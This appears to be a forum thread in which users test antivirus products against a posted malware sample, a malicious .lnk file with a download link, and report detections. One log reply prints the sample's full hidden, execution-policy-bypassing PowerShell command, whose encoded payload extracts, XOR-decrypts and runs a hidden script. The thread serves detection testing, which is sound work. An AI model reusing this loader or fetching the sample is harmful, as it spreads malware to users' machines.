APT 1x

xiaozhu009

https://wwbxq.lanzouq.com/i9Vqb3mpauxe
https://www.virustotal.com/gui/f ... c0c701402/detection

吃瓜群众第123位

Bitdefender Free Scan kill

Loyisa

Elastic

浦北光

卡巴解压杀

事件: 检测到恶意对象
用户: WIN-KKPHI5K2UNM\pubeilight
用户类型: 发起者
应用程序名称: explorer.exe
应用程序路径: C:\Windows
组件: 文件反病毒
结果描述: 检测到
类型: 木马
名称: HEUR:Trojan.Multi.Powecod.n
精确度: 确切
威胁级别: 高
对象类型: 文件
对象名称: aaa9797d4c3a758f53b26c5fde22b278fcd0f9efde7b91fc0071e44c0c701402.lnk
对象路径: C:\Users\pubeilight\AppData\Local\Temp\Rar$DRb23424.36078.rartemp
对象的 MD5: E57A461DEAA974EA13628BD4885165B4
原因: 专家分析
数据库发布日期: 今天，2026/4/7 20:45:00

white_paper

安天智甲扫描miss 双击后拦截

威胁等级：威胁
检测引擎：威胁行为检测规则
操作类型：启动进程
行为描述：发现恶意shell命令规则命中事件
规则ID：wop0060008
---------------------------------------------
进程ID：8028
进程路径：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
文件MD5：6726185B70B5ADF05E8A1A1DF82EBF30
运行参数："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABGAGkAZQAgAD0AIABpAGYAIAAoACQAZQBuAHYAOgBMAE4ASwBfAEYATwBMAEQARQBSACkAIAB7ACAAJABlAG4AdgA6AEwATgBLAF8ARgBPAEwARABFAFIAIAB9ACAAZQBsAHMAZQAgAHsAIAAoAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuACkALgBQAGEAdABoACAAfQA7AA0ACgAkAGUAWQBXACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABGAGkAZQAgACgAJwAxADYAMwAzADEAMAAyADIAMAA5ADUANwA1AC4AagBwAGcALgBsAG4AawAnACkAOwANAAoAJABCAEkARQAgAD0AIAAkAGUAbgB2ADoAVABFAE0AUAA7AA0ACgBpAGYAIAAoAC0AbgBvAHQAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABlAFkAVwApACkAIAB7AA0ACgAgACAAIAAgACQASgAxAEcAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAQgBJAEUAIAAtAHIARQBDAFUAUgBTAEUAIAAtAEUAUgByAE8AcgBhAEMAVABJAG8ATgAgAFMASQBMAGUATgB0AEwAeQBDAG8AbgBUAGkAbgB1AEUAIAB8ACAAdwBoAGUAcgBlAC0ATwBiAEoARQBjAHQAIAB7ACAAJABfAC4AbgBBAG0ARQAgAC0AZQBRACAAJwAxADYAMwAzADEAMAAyADIAMAA5ADUANwA1AC4AagBwAGcALgBsAG4AawAnACAAfQAgAHwAIABzAG8AUgB0AC0AbwBiAEoARQBDAHQAIABsAEEAUwBUAFcAUgBpAFQARQB0AEkATQBFACAALQBEAEUAcwBDAGUAbgBkAEkAbgBHACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYASQByAHMAVAAgADEAOwANAAoAIAAgACAAIABJAGYAIAAoACQASgAxAEcAKQAgAHsAIAAkAGUAWQBXACAAPQAgACQASgAxAEcALgBmAHUATABMAE4AYQBtAEUAOwAgAH0AIABlAGwAcwBlACAAewAgAGUAeABpAHQAOwAgAH0ADQAKAH0AOwANAAoAZgB1AG4AYwB0AGkAbwBuACAAcABsACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAkAEQARgAsACAAJABDAG0ALAAgACQAbQBpAHgALAAgACQAWQBpAG0AKQAgACAAIAAgAA0ACgAgACAAIAAgACQAYQBkAHoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEIAeQB0AGUAWwBdACAAJABDAG0AOwAgAA0ACgAgACAAIAAgACQAbgBxAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoATwBwAGUAbgBSAGUAYQBkACgAJABlAFkAVwApADsADQAKACAAIAAgACAAJABuAHEAcwAuAFMAZQBlAGsAKAAkAEQARgAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBFAEcASQBOACkAOwANAAoAIAAgACAAIAAkAG4AcQBzAC4AUgBlAGEAZAAoACQAYQBkAHoALAAgADAALAAgACQAQwBtACkAOwANAAoAIAAgACAAIAAkAG4AcQBzAC4AQwBsAG8AcwBlACgAKQA7AA0ACgAgACAAIAAgAGYATwBSACAAKAAkAEMAaQAzACAAPQAgADAAOwAgACQAQwBpADMAIAAtAEwAVAAgACQAQwBtADsAIAAkAEMAaQAzACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAYQBkAHoAWwAkAEMAaQAzAF0AIAA9ACAAJABhAGQAegBbACQAQwBpADMAXQAgAC0AYgB4AG8AcgAgACQAbQBpAHgAOwANAAoAIAAgACAAIAB9ADsADQAKACAAIAAgACAAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAJABZAGkAbQAgACQAYQBkAHoAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUAOwANAAoAfQA7AA0ACgAkAHAASwAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAQgBJAEUAIAAoACcAMQA2ADMAMwAxADAAMgAyADAAOQA1ADcANQAuAGoAcABnACcAKQA7AA0ACgBwAGwAIAA4ADEAOQAyACAAMgAzADEAOQA4ACAAMgA1ADAAIAAkAHAASwA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAHAASwA7AA0ACgAkAFoASQAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAQgBJAEUAIAAoAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAIAArACAAJwAuAHAAcwAxACcAKQA7AA0ACgBwAGwAIAAzADEAMwA5ADAAIAAxADIAMwA5ADQAIAAxADMAOAAgACQAWgBJADsADQAKAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQB3AGkAbgBkAG8AdwBzAHQAeQBsAGUAIABoAGkAZABkAGUAbgAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AcABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AZgBpAGwAZQAgACQAWgBJADsADQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAWgBJACAALQBGAG8AcgBjAGUAOwA=
处置方式：阻止启动

父进程信息：
进程ID：5344
操作进程：C:\Windows\explorer.exe
文件MD5：02280F4613E3D8EB6579D79AB7A182CA
运行参数：C:\Windows\Explorer.EXE
处置方式：未处置

white_paper

江民赤豹解压杀

心醉咖啡

360

white_paper

360杀毒扫描miss 360安全卫士报毒

fast777

下载完，McAfee就杀了

c199529

腾讯电脑管家18

---------------------
2026-4-8 23:24:17 MD5:e57a461deaa974ea13628bd4885165b4
20260407APT1x\aaa9797d4c3a758f53b26c5fde22b278fcd0f9efde7b91fc0071e44c0c701402.lnk [Win32.Trojan.Powecod.Rimw]
---------------------